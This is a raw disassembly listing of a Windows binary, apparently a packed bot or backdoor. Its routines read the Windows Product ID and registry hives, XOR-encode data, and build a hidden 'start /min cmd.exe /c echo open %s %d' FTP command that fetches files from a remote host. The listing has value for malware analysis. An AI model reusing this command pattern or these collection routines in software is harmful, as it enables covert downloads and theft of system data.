		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_43581C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BCB+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_43581C:				; CODE XREF: sub_4356F0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28E0000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435904
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BBF+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435904:				; CODE XREF: sub_4356F0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28E0000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4359EC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446BB4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_4359EC:				; CODE XREF: sub_4356F0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28E0000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435AD4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435AD4:				; CODE XREF: sub_4356F0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28E0000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435BBD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435BBD:				; CODE XREF: sub_4356F0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435C61
; ---------------------------------------------------------------------------


loc_435BC7:				; CODE XREF: sub_4356F0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C67
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2910000h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jnz	short loc_435C5C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435C5C:				; CODE XREF: sub_4356F0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435C61:				; CODE XREF: sub_4356F0+4D2j
		nop
		call	near ptr 28E0000h


loc_435C67:				; CODE XREF: sub_4356F0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4356F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435E00	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435E1D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435E13:				; CODE XREF: sub_435E00+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435E21
		inc	eax
		cmp	eax, esi
		jl	short loc_435E13


loc_435E1D:				; CODE XREF: sub_435E00+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435E21:				; CODE XREF: sub_435E00+16j
		pop	esi
		mov	al, 1
		retn
sub_435E00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435E40:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435EFC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435EFC:				; CODE XREF: ___:00435EF3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435F3E:				; CODE XREF: ___:00435FB7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_435FB9


loc_435F7E:				; CODE XREF: ___:00435F4Cj
					; ___:00435F5Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_435FB0


loc_435FA3:				; CODE XREF: ___:00435FAEj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_435FA3


loc_435FB0:				; CODE XREF: ___:00435FA1j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435F3E
; ---------------------------------------------------------------------------


loc_435FB9:				; CODE XREF: ___:00435F7Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4360A0:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436152
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436152:				; CODE XREF: ___:00436149j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436194:				; CODE XREF: ___:0043620Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43620F


loc_4361D4:				; CODE XREF: ___:004361A2j
					; ___:004361B2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436206


loc_4361F9:				; CODE XREF: ___:00436204j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4361F9


loc_436206:				; CODE XREF: ___:004361F7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436194
; ---------------------------------------------------------------------------


loc_43620F:				; CODE XREF: ___:004361D2j
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free


loc_436266:				; DATA XREF: Themida_:00590C05o
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436300:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_436840
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5EDAB2
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436402
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436402:				; CODE XREF: ___:004363F9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436444:				; CODE XREF: ___:004364BDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4364BF


loc_436484:				; CODE XREF: ___:00436452j
					; ___:00436462j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4364B6


loc_4364A9:				; CODE XREF: ___:004364B4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4364A9


loc_4364B6:				; CODE XREF: ___:004364A7j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_436444
; ---------------------------------------------------------------------------


loc_4364BF:				; CODE XREF: ___:00436482j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4365C0:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43663D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43663D:				; CODE XREF: ___:00436634j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43667F:				; CODE XREF: ___:004366F8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4366FA


loc_4366BF:				; CODE XREF: ___:0043668Dj
					; ___:0043669Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4366F1


loc_4366E4:				; CODE XREF: ___:004366EFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4366E4


loc_4366F1:				; CODE XREF: ___:004366E2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43667F
; ---------------------------------------------------------------------------


loc_4366FA:				; CODE XREF: ___:004366BDj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4367C8	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		jmp	near ptr 77C227FAh
sub_4367C8	endp

; ---------------------------------------------------------------------------
		db 46h,	2 dup(0CCh)
dword_4367D0	dd 7FF738E9h, 0E990C077h, 777E573Ch, 2BE5E990h					; ___:0043E018o ...
; ---------------------------------------------------------------------------
		jg	short loc_436859

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367E2	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_4367E2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0A2h, 12h
		dd 0E9907781h, 7781146Ch, 14EBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4367FA	proc near		; CODE XREF: sub_406C30+47p
					; ___:00406CCAp ...
		jmp	near ptr 77C29CC5h
sub_4367FA	endp

; ---------------------------------------------------------------------------
		db 71h
		db 90h
		db 0E9h, 0E1h, 0ACh
; ---------------------------------------------------------------------------
		jle	short loc_43687D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E1D4
		retn	4
; ---------------------------------------------------------------------------


loc_436811:				; DATA XREF: ___:off_43E1D4o
		push	esi
		mov	esi, ecx
		call	sub_436BCC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_436827
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx


loc_436827:				; CODE XREF: ___:0043681Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436832	proc near		; CODE XREF: sub_409580+4Dp
					; ___:0040A99Dp
		nop
		jmp	near ptr 77C226F6h
sub_436832	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 4Ch, 97h
; ---------------------------------------------------------------------------
